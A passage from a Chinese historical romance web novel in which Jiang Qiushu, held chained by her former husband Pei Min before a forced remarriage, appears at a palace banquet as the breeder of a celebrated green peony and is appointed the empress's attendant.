姜秋姝未动,身后他的体温将她围绕着,甚至是从四面八方向她涌来,可她却提不起半点儿的力气。 只厌恶至极。 她好似不听话的眷宠,无人问过她愿意与否。 ~~ 玉珩院的消息,自然没能瞒过其余几房的人,她们去了趟玉珩院,却被奴仆禀告说不见客,只能悻悻地回去了。 可刚过了花园,她们便不约而同打算去太夫人那里一趟。 “如今五弟妹回来了,应该高兴,怎都这般模样?”二夫人笑道。 “二嫂,以往好像是你最瞧不上姜氏的吧!平日里连话都不想和她说。”四夫人这般道。 姜秋姝回来了,四夫人对前几年的事记忆犹新,她的两个孩子被罚跪了祠堂,小小年纪又惊又吓第二日便病了,五弟竟然还以为她们是装的,直言她们不会教养子嗣。 又在政事上故意寻了四郎的错,本不过是光禄大夫的虚职,又遭到了贬谪,被罚到了马场做了典牧令。 八品小官儿!专职马匹饲养。 好歹是国公府四郎,成了个养马的,外边儿都快笑死! 偏偏国公晓得了,也并未惩处了五郎,还道五郎大义灭亲,做的对! 四夫人简直气吐了血。 都是因为姜秋姝!不过是说了几句闲话罢了,她说的也都是些实话,五郎以前也没说什么,怎忽然来个秋后算账! 四郎因此和她生了龃龉,搬到了驯马场,听闻跟个驯马女打的火热,她本就没有子嗣傍身,日后的日子怕不好过。 当听到姜秋姝回来了,没死!玉珩院还要准备婚仪的东西,她是痛恨的!凭何转了圈儿,还能叫五郎将她捧在掌心。 “太夫人,她与五郎早就和离了,此女留在国公府便是祸端,您可不要忘了两年前,五郎为她都做了什么!” 四夫人愤愤的声音在清风苑响起,上首的太夫人却如同霉云遮顶,阴气阵阵。 她自然不会忘记,五郎头一回违抗了她,将定国公府说过姜秋姝闲言碎语的奴仆,全部聚在了清风苑门外,杖责。 瞬时哀嚎遍野。 这不仅是在敲打府中的人,还是因她私自签下了那封和离书,裴珉这是在杀鸡儆猴。 就算没有裴珉的事,她也不想要姜秋姝那个女人重新回到定国公府! 她擅自让姜秋姝和裴珉和离的事被裴承知晓后,他话里话外也是怨过她这个祖母的。 姜秋姝若是继续留在府中,她怕影响了她的孙儿。 “听闻五郎还要和姜氏重新办婚仪呢!”四夫人又道,三夫人拉了拉她的袖子,想要让她少说些。 四夫人才不管,她过的不好,旁人也别想好过! “此事有国公定夺!”太夫人捏着掌心的佛珠,面沉如水! 这婚事不能成! ~~ 夜间,姜秋姝起身,脚腕处的细链就像是要禁锢着她的一生,她低头这链子与脚腕上的铃铛是一样的,看着细却难以弄断。 房门开了,是关嬷嬷和锦绣端着饭菜走了进来,“娘子。” 她们双眸含着泪水,没想到有生之年竟然还能瞧见娘子。 “嬷嬷可还好?”姜秋姝叙旧般和她们聊了起来。 “都好,就是想娘子了,如今再见到娘子三生有幸。” 姜秋姝眉宇的冰凉驱散了些,至少在府中她们对她是真心的。 她走到桌子旁,细链拖动声音明显,锦绣忽然捂住嘴,不可思议的盯着,关嬷嬷也是极为心疼。 五郎怎能做出这样的事儿! 姜秋姝倒是极为平静的用着餐食,是她以往常用的,只是用的不多,大抵定国公府的饭菜早就不合她口味了。 关嬷嬷和锦绣哽咽着,还是劝姜秋姝再用些。 姜秋姝只是摇头,关嬷嬷让锦绣将东西端了下去,自己则留下来说说话。 “娘子,”关嬷嬷视线留在了那个细链上,“五郎他心中有你,他只是不晓得该如何做!” 姜秋姝不想听,只说自己累了。 关嬷嬷却没有离开,“五郎年幼便极为聪慧,国公也是极为喜欢的,常带着身侧教导。小小的一个人打起拳来,也是有模有样的,国公时常夸赞五郎有他的风范,后来国公为了嘉奖五郎,送了把匕首给五郎。 那把匕首是国公爷随身携带之物,见过血的,国公爷幼时便是用那般匕首反杀了想要劫持他的歹人。崔姨娘见此物只有五郎有,大郎却没有,逼着五郎将东西给送给大郎。五郎很喜欢那匕首,他不愿意。 崔姨娘便上前去夺,两人争抢间那匕首匕鞘掉了,五郎握住刀刃依旧不放开,鲜血淋漓,崔姨娘吓坏了,连忙去让人请大夫,五郎没有松开匕首,只问了崔姨娘一句话,‘阿娘,这是我的,不给大哥!’ 崔姨娘不敢去争了,那匕首被五郎留了下来,可换来的是崔姨娘一顿杖责。五郎咬着牙受了,但他喜爱那匕首,绝不会让旁人来抢,即便是弄伤了自己。” 姜秋姝只是静静坐着。 关嬷嬷看着那锁链,“五郎是个固执的,他自己都未曾察觉,若是能用鲜血换来独属自己的,五郎乐意之至。” 半晌,坐在绣凳上的姜秋姝还是没有任何的反应,关嬷嬷叹了口气关上了房门。 沐浴时,姜秋姝躺在浴桶里,几乎将自己全部溺在水中,温热的水叫她越发的清醒,裴珉不晓得如何做,又如何? 错了便是错了。 他敢这般做,日后她必定也不会手软! 忽然她的胳膊被人搂住,用力往外拉,浴桶里的水溢了一地,睁开眼便瞧见裴珉惊慌又恼怒的模样。 “你想要寻死!”他咬着牙齿道,方才进了浴房,便瞧见她整个的沉在水里,心几乎快停滞。 “即便是死,我也不会放过你的!” 姜秋姝嘴角露出讥讽的笑,“裴珉,因你寻死觅活寻,你还没有那般大的威力。” 裴珉取来屏风处的巾帛,将她从浴桶里搂了出来,一声不吭的将她放在了床榻上。 白皙又娇嫩的肌肤在烛光下有了暖黄的晕染,多了温暖,不似她话语中的那般冷冰冰。 姜秋姝搂住了巾帛,侧过身子,将自己遮挡住。 可偏偏这种犹抱琵芭半遮面的朦胧之美,才更吸引人的目光。 裴珉的眼神炙热起来,“娘子可需要我帮忙?” “不必!”姜秋姝擦着发丝,往后退了退,根本不想要裴珉的靠近。 “旁人新婚时都不能见面,裴大人说是要与我重办婚仪,将我锁在房间里,还日日过来。这样不避讳的婚事,可得不到月老的祝福!” 裴珉心中微动,尽管晓得她主动提出婚仪有不想要见他,或者想办法逃跑之意,可他还是喜悦的。 “即便我与宋大人婚事是假,可皆按照婚仪步骤来,他可不会在成婚前与我相见,即便是有事儿也是隔着屏风的!” 姜秋姝还想要说什么,裴珉忽然将她搂在怀中,“所以他不晓得屏风内我们是如何恩爱的!” 姜秋姝听他明目张胆的提起,将她掳走前发生的事,她推开了他。 “那时也是我一件一件帮娘子穿上衣服的。”裴珉靠近她的耳侧,说的暧昧。甚至直接扯开了她的巾帛,自屏风处拿来了寝衣替她换上。 期间手是再规矩不过,可还是会碰触到,他不经意的停留,看似无意可他的呼吸变得越来越重。 姜秋姝不敢动,生怕此人又化作了禽兽! 好在平安的穿好了衣服,只是到了最后裴珉靠在她的脖颈,显然忍耐着。 “成婚前,我不会碰你。”像是察觉到了她的紧张,裴珉安抚道。 “娘子,你终于要嫁给我了!”他嗓音似含了枸橼又灌了些蜜茶,酸涩又满足。 若非是对她说的,姜秋姝都会动容。 可惜! 距离成婚前的第三日,裴珉被定国公唤道了书房,无人晓得发生了何事,只是定国公书案上的笔墨书籍掉了一地。 五郎离开书房时,眉宇间凝结着风暴,却又在看见五夫人全部的消弭。 “娘子,你若是不喜这里,我们可搬出去。”裴珉从姜秋姝身后搂住她,温声道。 若是换做以往听到了此言,她那颗对裴珉动容的心会陷的更深,可惜了! “世家大族最是勠力同心,长辈皆在,无不分家的,若是分了可要被旁人戳脊梁骨,五郎还是莫要说胡话了。”姜秋姝往里移了移。 裴珉却又贴了上去,“听你的。” 姜秋姝闭上双眸,心里在计算着时间,明日便是宫宴了吧! 清晨时,两人皆在房间里用着早膳,姜秋姝很熟悉脚下的锁链,已经不会像第一日时常缠着什么桌椅的脚,或是不小心绊倒了香炉。 “我今夜要进宫,绣坊的嫁衣也该送来了,等我回来,你穿给我看可好?” “裴大人不是看过吗?”姜秋姝浅笑道,“我与宋大人的婚服,裴大人可喜欢?” 本不想在今日故意惹恼裴珉,可她就是忍不住,马上要离开了,她总是想要刺一刺他。 裴珉捏着筷子的手紧了些,手掌上的伤被白布包裹着,姜秋姝看不清,可那天她咬的那么重,没有两三月这伤绝对不会好! 裴珉白日有事出了府,姜秋姝只坐在书案上,她敲了敲窗边,一只灰白色的鸽子飞了进来,姜秋姝含笑的摸了摸它的脑袋。 “怎么不能进去?!我是他嫂子,来拜访下都不可以!”外边儿传来吵闹声,姜秋姝摸了摸鸽子的腿,鸽子连忙飞走了。 门口来了个熟悉的身影,是四夫人。 “哟好大的派头,我来了还坐着呢!”四夫人眼眸中藏着恨意。 “离开了还回来作甚,贪恋国公府的荣华富贵?”四夫人腔调还是如以往般的难听。 “关你何事!”姜秋姝未动,寻了个典籍看了起来。 四夫人如今才没有什么可怕的,无儿,丈夫又离了心,只有几个赔钱货,她这一生可谓没了盼头。 瞧见姜秋姝还能坐稳太傅夫人的位置,她嫉妒地看着那张娇艳的脸。 “你以为即便再次嫁给了五郎,便能过好日子吗?国公府中无人喜欢你,你不过是一卑贱女子!” 四夫人绕到了书案后,还想要发泄着,可恍然瞧见了她脚边的锁链。 “你……”她双眸瞪得极大。 第46章 第46章侍书(高能) 姜秋姝缩了缩脚,立刻唤来了奴仆,让人将四夫人给驱逐出去。 四夫人不满,想要再看下,可玉珩院的人蛮横的很,被人赶出了玉珩院外,她神情依旧呆滞着。方才那姜氏脚腕上的是何物?她莫不是眼花了! 不对!她看的清清楚楚,那是一根儿延伸到后面柱子上的锁链…… 这姜氏莫不是被五郎囚禁在房中? 可不应当啊!与五郎成婚享受荣华富贵,姜氏有何不情愿的。 想起两年前,那些说了闲话的奴仆,被打的鲜血淋漓,有的皮肉破损,加之没有休养好,伤处捂的腥臭,只能刮肉养伤,府里一时间哀嚎便野,她身边伺候人少了大半,平白的四夫人打了个寒颤,等宫宴后她一定要和太夫人说说。 刚到了花园,便遇上了裴秋月,裴秋月见四夫人神情紧张,问道:“四叔母可是从玉珩院过来的?” 裴秋月亦是听闻了姜秋姝回来的消息,她才不希望姜秋姝回来呢! 可五叔的事儿,她也不敢管,只希望太夫人能够将人赶出府去。 可这些日子,始终没有传来动静,还听闻五叔和她要重新举办婚仪,裴秋月心头难受无处抒发。 “这姜氏回来了,府中怕又不得安宁,二娘你五叔最是疼你,不如你劝劝你五叔!”四夫人和善的拉着裴秋月。 裴秋月直接甩开了她的手,原本殷勤的模样都变了,看得出她们都想要姜秋姝离开,可都不敢出手。 或者说五叔将人护的紧。 “我一晚辈,哪里能说长辈的不是,”裴秋月道,“我得给太夫人请安,四叔母慢走。” 四夫人暗地里淬了裴秋月一口,所嫁夫婿是个没用的,两年了依旧是九品小官儿,连在洛阳安置宅院都不能,整日赖在国公府。 裴秋月捏着手绢儿,她不愿意姜秋姝在府中,姜秋姝在,便能叫她想起那个些屈辱。 她怕府中旁人也晓得,她嫁了个无用的夫婿! 这院子里的防守应当是薄弱的,连个四夫人都能闯进来,看来裴珉是以为锁链锁住了她,让她根本无法逃脱,便掉以轻心。 午时,裴珉回来了趟,带着绣坊的嫁衣,姜秋姝坐在书案旁百无聊奈,并不感兴趣,她这短短十多年,便要穿上三次嫁衣,说来有些可笑。 裴珉将嫁衣放在了她面前,“等我回来,试给我看。” 他已经迫不及待的想要瞧瞧她穿上嫁衣的模样。 可,等会儿他便要进宫,时间耽搁不得,他还是想要回来见上她一面,分明已经将她锁住了,分明也快要成婚了,可姜秋姝越发平淡的模样,他心里多了不安。 “没甚稀奇的,”姜秋姝抿唇一笑,“到底比不上旁人准备的。” 裴珉神情立刻变了,拉着锁链将她的小腿逐渐拉开起,双腿不受控制的分开,裴珉握住她的小脚,在上面狠狠咬了口,又将她搂抱在怀中,坐在了椅子上。 姜秋姝双腿夹在他的腰上,整个人只能蜷缩在他怀中。 脚上被咬了口,有些疼,隐隐又发着痒。 “娘子,这样可喜欢?”裴珉摸着她的耳垂,低声问道。 他抱着她,将她挤在怀中,是难以言明的强悍,姜秋姝想要踹他,可被他眼疾手快的抓住了小腿。 他轻抚着上面的牙印,“娘子等我们成了婚,便在这儿试试?” 姜秋姝脑子一下子,像是被用力板折的木棍,断了思绪。 等反应过来,她只想要弄死裴珉。 这是何处学的上面腌臜话! 她气的胸膛剧烈起伏着,两人靠得近,裴珉很快能够感知到她的情绪,他疑惑道:“娘子不喜?” “可娘子说过我木讷,书中的闺房情趣,我看了个遍,花园,秋千,书房,书案上是常事,怎娘子不喜?莫不是娘子也未曾有过这样的见识?我将那些书籍也给娘子瞧瞧,可好?”裴珉几乎是咬着她的耳朵,远远瞧去还一对鸳鸯。 可只有姜秋姝晓得,他是在说着多么上不得台面的事! 她尽量平复着自己心,“裴大人不是有事儿,还是莫要耽搁了。” 裴珉摩挲着她脚上的牙印,这张嘴终于不是说着叫他痛恨的话。 旁人准备的嫁衣,还不是他一件一件给她穿上的! 裴珉总算是离开了,姜秋姝连忙捡起鞋子,印记看来得等一段时间才能消散,可上面残留的感觉叫她难受,她搓了搓那道印记,直到脚背变红,才好了些。 房门被关上,姜秋姝本是想坐在书案上,可看着那张椅子,方才的一切又映入脑中,想起裴珉那些荒唐之言,她直接坐到了小榻上。 时机已经成熟了,她无需再等待。 ~~ 春日宴,百官同庆。 定国公府全府皆得了殊荣,入了宫,四夫人本想在马车上和太夫人说姜秋姝的事,可始终没有寻到机会。 皇宫大厅内,已经聚集了不少的官眷,他们皆目光讶异的瞧着中间被红布包裹之物,从旁的知情人口中得知,圣后得了稀罕儿物件,特意与众人赏鉴。 定国公府众人落坐后,不少大臣皆围了过来,“国公老当益壮,又有太傅这个顶梁柱在,府中殊荣当真是我们望尘莫及。” 定国公笑的含蓄,可谁也看得清他是真的高兴。 “不过府中其他还是应当早些定下才是,传承是一府的根基。”此话也只有亲近的正明侯府老侯爷才敢说。 正明侯府与定国公府是姻亲关系,同时老侯爷与国公相交多年。 老侯爷虽也在意二房,毕竟二房夫人是他亲女,可定国公府到底不是他能做主的,且还有裴珉和裴承这两个天赋异禀,叫旁人望之莫及的。 定国公只点头,笑道:“此事我自有定夺,多谢老弟了!” 太夫人听着,维持着慈善的笑,可心跟着提了起来,定国公什么也没说,可偏偏什么都没说,便是一种偏向。 分明她孙儿才是正统! 裴珉的位置在几位皇子的下方些,却比其他几位年长的,有爵位要高些,内侍引着裴珉往要往位置上走。 子比父高,这位置倒是叫人难坐啊! “如今后浪推前浪,往后的日子皆是他们小辈的。”正明老侯爷笑着缓和气氛。 定国公却是捋了捋胡须,并未开口。 “位置越高所背负的越多,身为人子自然得替长辈抗艰险,分恼忧。”裴珉面不改色的坐到了那个位置上。 定国公也跟着笑了起来,“俗语道高个子抗天,我儿至孝。” 原本尚在看笑话的人听了此言,全都收回了目光。 郑明恪和郑如珠走了过去,朝着裴珉敬了杯酒,“师兄一路辛苦了!” 裴珉并未动,郑明恪脸上神情未变想要离开,可郑如珠拉住了他。 “师兄,我阿兄行事是鲁莽了些,但他是为了我,一切皆是我的错,还望师兄原谅,莫要辜负了幼年的情谊。”郑如珠拱手施礼。 “滚!”裴珉看都未看他们,直接道。 郑明恪黑了脸,拉着郑如珠直接离开了。 其余人瞧着好奇,皆晓得裴太傅为了郑家奔走洗清冤屈,怎如今看来倒像是有了仇? ~~ 偏殿里,天后任由嬷嬷替她揉着额头,听着内侍禀告此言,她唇角上扬,挥开了伺候她的嬷嬷。 这定国公府一族委实难缠的紧。 她看向另一侧的女子,笑问:“皆说裴太傅最规矩,如今却位比父高,他还如以往般的知礼守节吗?” 屏风后,穿着天青色衣裙的少女,有秋华之貌,春水之色,声音从容自然,“君君臣臣父父子子,自然是君在前,民女觉得君为天,旁人不敢不从。” “你这般有灵气的女子,定国公府人不喜,是他们有眼无珠。” 圣后笑了起来,朝着姜秋姝挥了挥手,姜秋姝走到了天后身侧。 圣后拉着她的手一脸的慈爱,“以后便待在本宫身边吧!” ~~ 宴席开始,庄乐声中,圣后并几位皇子公主才姗姗而来,众人连忙起身行礼。 圣人病重一切由圣后代劳。 圣后一席红色的宫装,额头上点着雍容华贵的牡丹花,一举一动有女子的温润,可眼眸下深藏着的是警惕与深沉。 圣后落座后,道:“诸位不必多礼,坐。” “谢娘娘。”众人同时起身坐回了位置。 奏乐声继续,圣后举杯而起,“今春贺喜,一喜平江都水患,天下太平,裴大人辛苦了。” 此话是对着裴珉说的,朝臣也同时朝着裴珉敬酒。 江都水患,裴珉劳苦功高,此宴亦有庆祝之意。 “娘娘谬赞,臣之本分。”裴珉道。 圣后收回了目光,再次道:“二喜,今年收成繁盛,春日融融。” 今年除开了江都,各地的道州雨露适宜,稻谷生长健硕,百姓必能有个好收成。 众人皆举杯高呼,圣人圣明,圣后千岁。 圣后唇角的笑意淡了些,分明一切皆是她劳心戮力,众人敬仰的,依旧是卧床在榻的圣人。 她看了在场众人继续道:“三喜,得圣物,可驱邪锄奸!” 圣物?听见了圣后这般说,所有人皆看向了大厅最中央被红布所遮挡之物,这东西便是圣物? 还可驱邪锄奸?此话叫众人起了疑心。 圣后笑道:“此物乃是江都进献的,一株牡丹。传言此物倩姿窈窈,花瓣颜色与枝叶相近,万人歌颂其美,还铲除了江都作恶的徐家。此次江都水患也是因这牡丹才能平息的。” 因着牡丹平息的?此言一出引得不少人困惑,一株小小的牡丹?还能平息灾祸? 裴珉在听闻江都,便屏息凝神了些,等听到了牡丹和徐家,他神情彻底变了,抬头望了望圣后,又将视线看向了红布遮挡之物。 他眼底阴郁,一些事情在此刻皆想通了。 在江都的疑惑也解开了,此牡丹花是她为了面见天颜所准备的,她心中所想的太多太多了。 裴珉端着酒杯,酒水撒了一桌,身侧的内侍连忙提醒,他才彻底醒过神来。 圣后看了裴珉眼,正色道:“江都水患中捐献全部家财的姜娘子,便是培育此圣物之人,她曾言睡梦中被牡丹指引,察觉到了江都即将发生灾祸,在未曾决堤之前,便敲开各家的门,带领信任她的百姓去山上避难。” 此时内侍掀开了红布,露出了那株牡丹花。 众人皆没了声音,盯着牡丹,此物当真非凡,他们所见牡丹皆为红色,或粉色,还未瞧见过这般模样的。 春日所有景色皆融于此,盎然之青绿,似万物生长复苏之美态。 不少人只称从画中瞧见过,亦是听过不少溢美之词,到底没见过实物,只当是传言罢了,如今见了此物才晓得,比画还美。 那些夸溢的词,不过只描绘出了其神态的十之五六。 薛明义是翰林院供奉,向来喜欢些书画,也曾听过对此牡丹的赞名,如今瞧了颇为喜欢,他朝着圣后施礼道:“既是姜娘子培育了此牡丹,还救了江都百姓,理应收到嘉奖,不晓得姜娘子在何处?” “请人!”圣后朝着内侍监道。 此言出,裴珉控制不住站了起来,圣后看了过去,笑问道:“裴大人可是喝醉了?” 裴珉忍住心头颤意,拱手回了座位。 大厅外边,身着天青色大袖襦裙的小娘子缓步走来,袖口处用相近的颜色绣了牡丹花,却在日光中熠熠生辉,梳着双髻只插了两对珍珠步摇,行动间披帛随风而起,恍若神女临世。 未曾见过姜秋姝的人,目光盯着她,有了几分凝滞。 见过她的人,却更是吃惊,甚至隐隐有了站起来的姿态,却是在尽力的压制着自己。 尤其是定国公府的人。 郑家两兄妹亦是不可置信的看着她! 赵士远愣住了,看着最来人,他屏住呼吸,早听闻她回了国公府,可自从裴珉抖落他不行的事儿后,警告过他,他不敢去玉珩院。 没想到在此处瞧见了她,而她便是那个盛传的江都姜娘子! 裴珉捏着杯子,从圣后那里听闻了她,有所预感,可当她真的出现在此处时,裴珉才明白彻底的失控了。 那个被他锁住的,本该穿着他命人做的嫁衣,与他拜堂的女子,竟然来了此! 今后,他怕是再也困不住她。 姜秋姝缓步走到了中央,朝着圣后行礼,“娘娘万安。” 圣后眉宇中的笑意深了几分,立刻将人给叫起来,“姜娘子请起。” 在场之人未曾见过姜秋姝的,算是少数,薛明义便是其中之一。 他年过半百,向来便爱侍弄些花草,“姜娘子如何养成这般奇花,若是牡丹可培育成青色,可将其他花亦培育出其他的颜色?” 他上前问道,眉宇中是浓浓的喜色。 “薛爱卿着什么急,今日是要嘉奖,若要论花草,日后寻个时间便是了。”薛明义是薛凛的阿耶,亦是李长宁的公爹。 圣后对其自然宽厚,说起话来直白了些。 薛明义连忙道:“娘娘,姜娘子有此能力,可到园苑监。” 此话处,有朝臣反对道:“姜娘子有功在身,薛大人让其到园苑监当宫女,这哪里是奖赏!” 薛明义蹙眉,“臣并非要让姜娘子当宫女,而是入园苑监,传授其养花之法。” “到底是委屈了姜娘子,”圣后拧眉深思,“只是传授其养花法不给职权,岂不是只图姜娘子的能力,反而未曾赏,失了本意,叫天下人如何看!” “母后!”李长宁不悦的看着姜秋姝,靠近了圣后低语道,“这姜娘子分明是裴太傅的和离了的妻子,裴太傅为了这么个红颜祸水,将洛阳都翻了个遍,您还要奖赏她什么啊!给她些银两打发了就是!” 李长宁声音虽低,可她身侧的人都听见了。 看来两年前秋狩的事,叫她气恼至今,两人不对付的紧。 “母后,”三皇子忽然站了起来,“姜娘子有此功绩,自然是要奖赏的,既然她能够梦见牡丹花仙提示,便是有福泽的,不若给个爵位。” 如此便得了爵位,到底太轻松了,三皇子话一出,御史即刻出声反驳。 三皇子最是厌烦这些酸朽的御史,可又怕这些势要青史留名,常碰柱子的人。 底下议论阵阵,定国公府的人面面相觑,谁能想到,洛阳盛传的牡丹是由姜秋姝培育出来的,那个救助了江都百姓之人也是她! 四夫人看着最中央的姜秋姝气的牙痒痒,为何出尽风头之人会是她! 裴秋月亦是目光呆滞,姜秋姝竟然会入了圣后的眼! “好了!”圣后直接打断了众人的议论。 “姜娘子日后便留在我身侧吧!”圣后话落,便立刻派来了内侍监要宣旨。 众人还未反应过来,圣后便道:“兹有扬州天长女姜秋姝,性情温善,德才兼备,得天眷顾,特封其为侍书。” 等听到得天眷顾!百官皆惊叹被此言所震慑,这得是多大的福气!不过得听神训救了江都百姓,也当得上这话。 后面又听闻圣后要封其为侍书。 侍书虽无官阶,可乃天子近臣,三品以下不拜,见三品只需微微俯身。 以往皆是有世家子担任,可从未由过寻常的女子来任。 即便姜秋姝得天眷顾不是寻常女子,可到底还是女子。 便有朝臣想要反对,圣后却道:“圣人病重,本宫监国,侍书乃本宫亲近之人,众爱卿可有举荐的男子?” 百官面面相觑,懂了圣后温和下的雷霆,皆跪地高呼,“不敢!” 谁敢在圣后身边放个男子? 侍书为近臣,需得日日与圣后作伴,谁敢寻个男子与圣后相伴,圣人怕是知晓了,怕是得从昏迷中气醒。 且姜娘子是因牡丹得了侍书之名,并无才能,即便是身居高位,一个寻常女子,不值得他们费力。 此事,便定了下来,在众人未曾察觉中,姜秋姝缓缓的出了口气,从到江都培育牡丹,使其扬名天下,搞垮徐家,水患救灾民,她每一步都极为小心。 其中最该感激的是裴珉,她抬头看了看靠近圣后位置的裴珉。 亏了他两年前,失了体统地寻她! 裴珉也刚好看了过去,两人的视线在空中对视了瞬,又迅速离开。 姜秋姝唇角的笑,比起方才要多了不少。 底下郑家兄妹,尤其是郑如珠落在姜秋姝身上的眼神多了些复杂。 以女子之身,当了侍书。 她洛阳第一才女,只是虚名! 百官瞧着这牡丹,忽然有一人道:“娘娘,此牡丹只被称为青色牡丹,可还未取名。” 圣后看着姜秋姝,“此花既是姜侍书所培育,便由姜侍书来起吧!” “多谢娘娘,那臣便不推辞了,”姜秋姝想了片刻,朝着圣后施礼,“便唤做春幕锦华,愿大周似春日声不息,繁荣生长” “好!愿大周繁荣生长。说的好!”圣后起身,所有朝臣跟着起身。 皆祝愿大周繁荣,似春日之景,盎然勃勃。 此刻最中央的小娘子,风华如锦,叫人见之不忘。 裴秋月几乎要扯断怀中的袖子,一直陪在她身侧的赵士远,自姜秋姝进来后,便失了神,直到听到她受了圣后赞赏,他更是失了神采,苦读多年,考取功名,竟然连个昔日亲近的女子都不如。 为了权势跟入赘般,可却招人嫌恶。 他的胳膊忽然被环住,痛意传来时,他一点儿也不意外,裴秋月靠近他耳侧,想起赵士远频频的目光,恨恨道:“她回来了,你便这般念念不忘!” 赵士远垂首,“娘子莫胡言,我与她早就是死敌。” 裴秋月听他这般说,心情好了许多,即便赵士远不行,可也是她夺来的。 四夫人呼吸都不畅了,这是什么不公的世道! 凭何叫她被个市井女子频频压制着! 四夫人呼吸慢慢急促起来,胸口闷得叫人喘不过气来,她捂住胸口,周遭的神色变得模糊起来,直到倒在地上,额角磕在桌子上那一瞬的痛,叫她清醒了,又晕了过去。 伺候的宫女惊呼了声,不少人皆望了过来,太夫人连忙让人将四夫人送走。 她晓得她是因何之故,她也没想到姜秋姝竟然会出现在春日宴上,还成了什么侍书! 她转头,看着裴承,果不其然他眼睛亮了些,紧紧的盯着中央之人。 这是遭了什么孽啊! 圣后朝着姜秋姝招手,让她坐到了自己身侧,李长宁不乐意了,只能在众目癸癸下,愤恨的瞪了姜秋姝眼。 圣后给李长宁递了个眼神,让她老实些,李长宁撇了撇嘴,最终没有说什么。 内侍监立刻搬了座位,姜秋姝坐在了圣后身侧,这样的位置,刚好可以将下方一收眼底。 几乎所有人的举动,皆逃不出她的眼睛。 这便是权势的力量?确实有够迷人的。 姜秋姝端起酒杯,敬了圣后和诸位皇子公主,几位皇子还是极为给她面子,只除了二皇子,二皇子是最为反对姜秋姝做侍书的,可圣后几人决定了,他的话便什么也不算! 二皇子给自己多倒了几杯酒,喝的极快,他如今在朝堂上,早就不如以往了。 他父皇可有够糊涂的!让个女人沾染了政务,如今又来了个! 李长宁在圣后的眼光中,不得不喝下了这杯酒,可神情依旧不满,也没有丝毫的隐藏。 圣后今日格外的高兴,多饮了些,刚转头,瞧见裴珉一语不发,就连周遭人敬酒,都显得兴意阑珊,原是双手回应,如今只单手。 “裴大人的手是怎么了?”圣后忽然道。 “被家中狸奴给咬了!” 圣后微微颔首,没有多问,只道:“裴大人朝廷肱骨,可得顾好自己的身体。” “是。” 第47章 第47章震惊 姜秋姝盯着那只手,只恨当初咬的不够重,正当她走神之际,忽然面前来几位大臣。 薛明义举起酒杯,姜秋姝连忙起身,她到底资历尚浅,不敢受。 薛明义却是一脸的和善,“如今与姜侍书同朝为官,日后多担待担待。” “您言重了。”姜秋姝饮下了酒,薛家除开尚了公主,在朝堂中根基极深,她自然是不敢拖大的。 “姜侍书会养花,正巧老夫也甚喜,日后可得讨教讨教。”薛明义说出了自己的目的,他着实喜欢那株春幕锦华,若是从姜秋姝身上学的两三招,岂不是府中的兰草也可成绿的,黄的紫的,梅花亦可成旁的颜色。 那时洛阳众人,可不得羡慕死他! 薛明义捋着胡须,看着姜秋姝眉眼弯弯,这般好的小娘子,他家儿郎多,若是能娶回去,肥水不流外人田。 还能多种些奇花异草,甚好啊! 姜秋姝初入朝堂,便能瞧见如此慈目的大臣,除开受宠若惊外,却警惕起来。 薛家她晓得的算多,毕竟李长宁嫁给了薛凛,李长宁曾多次说薛明义是个老奸巨猾的。 “姜侍书如今在圣后身侧伺候,应当也无时间与你这连杂草,都能养死的老头讨教。”来了个约莫六十年纪的人。 此人是王家郎主,王翰当朝文官之首,尚书令。 他笑意盈盈的看着姜秋姝,“如今是年轻人的天下,我们这些人老了,迟早要让位的。” 因王家九郎折辱宋执书一事,她对王家还是有所了解的。 王家如今在朝堂上,说的上话的,便是王翰之子工部尚书王明泰和吏部侍郎王明坤。 王家在六部中占据两个重要位置,基本上与定国公府分庭抗礼。 定国公府掌武,王府掌文,偏偏又出了个中书令的裴珉,生生压了王府的威风,叫王府低了头。 姜秋姝看着面前这个虽有几分傲气,可言行却叫人抓不着错误的王尚书令。 都是千年的老狐狸,装什么庙里高坐的菩萨。 “不敢当,尚书令这般赞扬,臣也是诚惶诚恐,幸得圣后青睐。日后行事若是鲁莽了,看在我年轻又是女儿身,还请诸位大人能宽容一二。” 姜秋姝放低了姿态,王尚书令笑的越发的和善。 不过是因株牡丹获得殊荣的女子,也不必太过担心她会搅乱了朝局。 圣后身侧之人,蠢点儿才是好事,若是能为他所用也可事半功倍。 “瞧见这么些年轻人便觉得可心,日后可来府中坐坐。我家尚有与你一般大的孙儿,孙女儿,若她们能与姜侍书这般,便也不让我发愁了。”王尚书令笑道。 薛明义一听,便想到了王尚书令是何心思,他家儿郎根儿上都是坏的,哪里比得上他家的。 “姜侍书也来我家坐坐,我家儿郎可是极好的。” 姜秋姝维持着笑容,连忙敬了两位大人酒,“若有空闲,必定赴约。” 身旁的王太夫人却拉了拉王尚书令的袖子,她识的眼前的女子,正是裴珉那和离了的夫人,听闻裴珉为了寻此人,将洛阳给翻了个底朝天。 王太夫人拉着王尚书令去了边儿上,说起了此事。 王尚书令摸了摸胡须,脸上神情比起方才更喜悦了几分,裴珉所念念不忘的人,好啊好啊! “改日给这位姜侍书下帖子,过府赏玩儿,叫府中郎君都机灵些。” 王太夫人如何没能听懂王尚书令的意思,她可不想她孙儿娶个二婚的,可王尚书令的话,她不敢违背。 看着春风得意的姜秋姝,定国公府的人心里不可谓不难受。 太夫人倒是不怕姜秋姝寻他们的麻烦,一个小小的侍书,还能翻了天了! 她只是怕!等她转头之际,忽然发现身后的裴承没了踪迹,心一下子提了起来。 月升日落,已过了一个时辰,宴席过半,姜秋姝喝了不少的酒,便出来透了透气。 宴席上,不少人的恭维并不能让她多舒畅,其中更多的是试探。 她这个侍书究竟是空壳子,还是有多大的本事。 索性她只是个靠株花才获殊荣的女子,可让他们放心。 姜秋姝抬头望着空中的皓月,她一直知晓自己想要的是什么。 “姜…姜娘子!”有些陌生的声音,自身后传来,姜秋姝转过头去,发现是裴承。 对于定国公府的人,她都不想与其有太多的交际,只是微微颔首示意要离开。 “我代五叔替你致歉。”裴承见她要离开,连忙喊住了她,混乱中随意寻了个借口。 前几日,他没在府中,也没能见上她一面,没想到,竟然在宫里瞧见她了,而她得了圣后的赏识。 “不必,”姜秋姝嗓音淡淡,“此乃我与裴珉的事,与三郎君不相关。” 姜秋姝晓得裴承对她并无好意,裴承最敬仰之人便是裴珉,她嫁与裴珉后,裴承见不得他高贵的五叔,被她所污染,但又秉持风度未寻过她麻烦,平日碰见也只当个寻常人。 “姜娘子,我……”裴承其实还想和她说说话,她离开了两年,他其实也期盼着五叔能将她找回来。 